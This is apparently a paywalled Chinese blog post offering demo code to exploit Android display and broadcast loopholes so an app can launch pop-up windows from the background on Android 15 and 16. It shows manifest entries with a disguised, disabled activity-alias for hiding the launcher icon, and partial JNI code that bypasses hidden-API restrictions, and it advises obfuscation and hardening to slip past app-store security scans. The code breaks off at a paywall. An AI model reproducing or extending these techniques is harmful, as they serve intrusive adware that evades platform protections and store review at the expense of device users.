利用Android系统漏洞实现后台弹窗(外弹)
demo核心代码展示利用Android显示系统和广播系统的漏洞实现在后台弹窗的功能,支持最新Android15,16版本。
核心功能都是在so层去做,大量使用了jni反调, 如果要上架到应用市场,需要对代码做进一步混淆,加固以应对市场安全扫描。
关键:从 Android 8.0(API 26)开始,禁止使用 context.sendBroadcast() 发送隐式广播(即没有指定 setPackage() 或明确组件的广播)。
但在某些系统场景中(如 AlarmManager、JobScheduler 触发的 PendingIntent,Android 16的MediaSession,MediaButterReceiver)仍隐式支持
再配合显示系统的调用即可以实现外弹。
1,先在Manifest注册几个组件:
<activity
android:name="com.x1.cd.lq"
android:exported="false"
android:launchMode="singleTop"
/>
<activity
android:name=".EnryActivity"
android:exported="true"
android:screenOrientation="portrait">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
<data android:scheme="ss" android:host="com.cd.lq"/>
</intent-filter>
</activity>
<activity-alias
android:name="com.face.detect.FActivity"
android:enabled="false"
android:exported="true"
android:targetActivity=".EnryActivity">
<intent-filter>
<action android:name="android.intent.action.MAIN"/>
<category android:name="android.intent.category.LAUNCHER"/>
</intent-filter>
</activity-alias>
2,隐藏显示组件
static bool setHiddenApiExemptions(JNIEnv* env) {
jclass vmRuntimeClass = nullptr;
jmethodID getRuntimeMethod = nullptr;
jobject vmRuntimeInstance = nullptr;
jmethodID setHiddenApiExemptionsMethod = nullptr;
jclass stringClass = nullptr;
jobjectArray exemptionsArray = nullptr;
jstring exemptionString = nullptr;
try {
vmRuntimeClass = env->FindClass("dalvik/system/VMRuntime");
if (!vmRuntimeClass) {
LOGE("Failed to find VMRuntime class");
env->ExceptionClear();
return false;
}
getRuntimeMethod = env->GetStaticMethodID(vmRuntimeClass, "getRuntime", "()Ldalvik/system/VMRuntime;");
if (!getRuntimeMethod) {
LOGE("Failed to find VMRuntime.getRuntime() method");
env->ExceptionClear();
return false;
}
vmRuntimeInstance = env->CallStaticObjectMethod(vmRuntimeClass, getRuntimeMethod);
if (!vmRuntimeInstance) {
LOGE("Failed to get VMRuntime instance");
env->ExceptionClear();
return false;
}
setHiddenApiExemptionsMethod = env->GetMethodID(vmRuntimeClass, "setHiddenApiExemptions", "([Ljava/lang/String;)V");
if (!setHiddenApiExemptionsMethod) {
LOGE("Failed to find VMRuntime.setHiddenApiExemptions() method");
env->ExceptionClear();
return false;
}
stringClass = env->FindClass("java/lang/String");
if (!stringClass) {
LOGE("Failed to find java.lang.String class");
env->ExceptionClear();
return false;
}
exemptionsArray = env->NewObjectArray(1, stringClass, nullptr);
if (!exemptionsArray) {
LOGE("Failed to create exemptions string array");
env->ExceptionClear();
return false;
}
exemptionString = env->NewStringUTF("L");
if (!exemptionString) {
LOGE("Failed to create exemption string");
env->ExceptionClear();
return false;
}
env->SetObjectArrayElement(exemptionsArray, 0, exemptionString);
01-03
04-11
3712
3712

最低0.47元/天 解锁文章

被折叠的 条评论
为什么被折叠?



